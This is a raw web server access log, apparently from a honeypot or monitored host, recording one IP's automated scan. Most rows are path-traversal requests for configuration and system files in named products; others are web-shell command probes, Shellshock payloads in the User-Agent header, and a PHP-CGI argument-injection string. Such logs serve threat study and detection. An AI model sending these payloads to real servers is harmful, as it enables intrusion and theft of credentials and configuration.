| 99948 |
45.138.12.25 |
/NCFindWeb?service=IPreAlertConfigService&filename=../../ierp/bin/prop.xml |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:40.672218 |
| 99947 |
45.138.12.25 |
/hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?dir=/page/resource/userfile/../../ |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:38.644188 |
| 99946 |
45.138.12.25 |
/weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:38.226515 |
| 99945 |
45.138.12.25 |
/general/mytable/intel_view/video_file.php?MEDIA_DIR=../../../inc/&MEDIA_NAME=oa_config.php |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:37.787641 |
| 99944 |
45.138.12.25 |
/defaultroot/download_ftp.jsp?path=/../WEB-INF/&name=aaa&FileName=web.xml |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:37.329306 |
| 99943 |
45.138.12.25 |
/index.php/Home/uploadify/fileList?type=.+&path=../../../ |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:36.906431 |
| 99942 |
45.138.12.25 |
/brightmail/servlet/com.ve.kavachart.servlet.ChartStream?sn=../../WEB-INF/ |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:36.458039 |
| 99941 |
45.138.12.25 |
/pacs/nocache.php?path=%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:36.016096 |
| 99940 |
45.138.12.25 |
/%20../web-inf/ |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:35.609985 |
| 99939 |
45.138.12.25 |
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=../../../../../index.jsp |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:35.175468 |
| 99938 |
45.138.12.25 |
/xml/User/User.xml |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:34.711458 |
| 99937 |
45.138.12.25 |
/file=C:%5CWindows%5Cwin.ini |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:34.117512 |
| 99936 |
45.138.12.25 |
/index.php?s=Admin-Data-down&id=../../Conf/config.php |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:33.645933 |
| 99935 |
45.138.12.25 |
/api/image/cover-upload?filename=../appsettings.json |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:32.908966 |
| 99934 |
45.138.12.25 |
/dlibrary/null?oldfile=../../../../../../windows/win.ini&library=null |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:32.454112 |
| 99933 |
45.138.12.25 |
/casmain.xgi |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:31.9589 |
| 99932 |
45.138.12.25 |
/exportFile?UID=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Cwin.ini |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:30.312491 |
| 99931 |
45.138.12.25 |
/ng/ |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:13.57218 |
| 99930 |
45.138.12.25 |
/ |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:13.12373 |
| 99929 |
45.138.12.25 |
/fortisandbox/ |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:12.547817 |
| 99928 |
45.138.12.25 |
/api/v1/health |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:12.132607 |
| 99927 |
45.138.12.25 |
/login |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:11.67581 |
| 99926 |
45.138.12.25 |
/health |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:11.238465 |
| 99925 |
45.138.12.25 |
/ |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:10.527688 |
| 99924 |
45.138.12.25 |
/api/v1/version |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:10.111351 |
| 99923 |
45.138.12.25 |
/ |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:09.462234 |
| 99922 |
45.138.12.25 |
/ |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:09.025444 |
| 99921 |
45.138.12.25 |
/ |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:08.192139 |
| 99920 |
45.138.12.25 |
/login.html |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:07.697362 |
| 99919 |
45.138.12.25 |
/ |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:07.275534 |
| 99918 |
45.138.12.25 |
/s4s_fc36cdfc.jsp?cmd=echo+S4S_CANARY_fc36cdfc |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:05.69262 |
| 99917 |
45.138.12.25 |
/index |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:03.061963 |
| 99916 |
45.138.12.25 |
/cgi-bin/info.cgi |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:10:00.402803 |
| 99915 |
45.138.12.25 |
/cgi-bin/printenv |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:09:59.408487 |
| 99914 |
45.138.12.25 |
/s4s_fc36cdfc.jsp?cmd=echo+S4S_CANARY_fc36cdfc |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:09:58.971207 |
| 99913 |
45.138.12.25 |
/ |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:09:58.18402 |
| 99912 |
45.138.12.25 |
/cgi-bin/env.cgi |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:09:57.691986 |
| 99911 |
45.138.12.25 |
/cgi-bin/env |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:09:56.400918 |
| 99910 |
45.138.12.25 |
/cgi-bin/test.cgi |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:09:54.909491 |
| 99909 |
45.138.12.25 |
/statsreport/vc_0c06de57.jsp?c=echo+VC2S_CANARY_0c06de57 |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:09:54.466124 |
| 99908 |
45.138.12.25 |
/login/ |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:09:54.047423 |
| 99907 |
45.138.12.25 |
/cgi-bin/status |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:09:53.626908 |
| 99906 |
45.138.12.25 |
/statsreport/vc_0c06de57.jsp?c=cmd+/c+echo+VC2S_CANARY_0c06de57 |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:09:52.959965 |
| 99905 |
45.138.12.25 |
/users/sign_in |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:09:52.47678 |
| 99904 |
45.138.12.25 |
/statsreport/vc_0c06de57.jsp |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:09:52.063985 |
| 99903 |
45.138.12.25 |
/cgi-bin/info.cgi |
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_105814eb' |
2026-10-15 14:09:51.633162 |
| 99902 |
45.138.12.25 |
/?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:09:51.183389 |
| 99901 |
45.138.12.25 |
/ui/vropspluginui/rest/services/uploadova |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:09:50.775131 |
| 99900 |
45.138.12.25 |
/ |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 |
2026-10-15 14:09:49.937974 |
| 99899 |
45.138.12.25 |
/cgi-bin/printenv |
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_105814eb' |
2026-10-15 14:09:49.512627 |